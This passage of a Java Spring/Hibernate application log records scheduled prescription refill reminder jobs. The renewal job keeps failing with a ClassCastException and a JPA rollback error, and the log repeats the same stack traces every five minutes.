org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at 